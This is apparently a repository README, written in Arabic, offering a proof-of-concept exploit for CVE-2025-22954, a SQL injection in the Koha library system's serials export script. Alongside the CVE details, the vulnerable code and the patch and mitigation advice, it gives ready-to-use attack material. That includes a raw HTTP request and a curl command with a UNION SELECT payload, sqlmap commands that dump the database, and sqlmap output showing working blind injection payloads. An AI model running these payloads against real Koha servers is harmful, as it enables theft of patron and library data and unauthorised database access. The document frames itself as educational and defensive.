
Koha CVE-2025-22954: حقن SQL في lateissues-export.pl
يحتوي هذا المستودع على إثبات مفهوم لـ CVE-2025-22954، وهي ثغرة حقن SQL ذات خطورة حرجة (CVSS 10.0) في كوه (Koha) قبل الإصدار 24.11.02. توجد الثغرة في الدالة GetLateOrMissingIssues في C4/Serials.pm التي يتم استدعاؤها بواسطة السكريبت /serials/lateissues-export.pl. يمكن استغلال الثغرة عبر المعاملات supplierid أو serialid.
| CVE ID | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (حرجة) |
| درجة EPSS | 0.03% (أعلى 5.26%) |
| تاريخ النشر | 12 مارس 2025 |
| تم الإصلاح في | كوه 24.11.02 |
| مرجع الخطأ | Koha Bug #38829 |
| ملاحظات الإصدار | Koha 24.11.02 Release |
ينبع الثغرة من التعامل غير الآمن مع مدخلات المستخدم في المعاملات supplierid و serialid في سكريبت lateissues-export.pl الذي يتم تمريره إلى الدالة GetLateOrMissingIssues في C4/Serials.pm. لا تقوم الدالة بتنقية أو تحديد معلمات هذه المدخلات بشكل صحيح قبل استخدامها في استعلامات SQL، مما يسمح بهجمات حقن SQL.
يحتوي السكريبت الضعيف (lateissues-export.pl) على الكود التالي:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
من المحتمل أن تحتوي الدالة GetLateOrMissingIssues في C4/Serials.pm على بناء استعلام SQL ضعيف حيث يتم دمج المعاملات $supplierid و $serialid مباشرة في عبارات SQL دون تحديد معلمات مناسب.
يوضح إثبات المفهوم هذا كيف يمكن لمستخدم مصادق عليه مع صلاحية الوصول إلى وحدة الدوريات (serials module) استغلال هذه الثغرة لاستخراج بيانات حساسة من قاعدة بيانات كوه أو ربما الحصول على وصول غير مصرح به إلى نظام قاعدة البيانات الأساسي.
lateissues-export.plيمكن استخدام طلب HTTP الأولي التالي لاستغلال الثغرة:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
يمكن استخدام SQLMap لأتمتة استغلال هذه الثغرة. أولاً، قم بتسجيل طلب إلى النقطة الضعيفة مع ملفات تعريف ارتباط المصادقة الصالحة، ثم استخدم SQLMap لاستغلال نقطة الحقن.
# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
مثال لملف request.txt:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
يمكنك أيضًا استغلال الثغرة مباشرة باستخدام SQLMap:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
تسمح هذه الثغرة لمهاجم مصادق عليه بـ:
قم بالتحديث إلى إصدار كوه 24.11.02 أو أحدث والذي يتضمن إصلاحًا لهذه الثغرة.
إذا لم يكن التحديث الفوري ممكنًا، ففكر في تنفيذ التخفيفات المؤقتة التالية:
/serials/lateissues-export.pl لعناوين IP الموثوقة فقطC4/Serials.pm لتحديد معلمات استعلامات SQL بشكل صحيح في الدالة GetLateOrMissingIssuesيتم توفير إثبات المفهوم هذا للأغراض التعليمية والدفاعية فقط. احصل دائمًا على التفويض المناسب قبل اختبار أي نظام للثغرات.
المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات. يجب استخدام إثبات المفهوم هذا فقط على الأنظمة التي تمتلكها أو لديك إذن صريح باختبارها.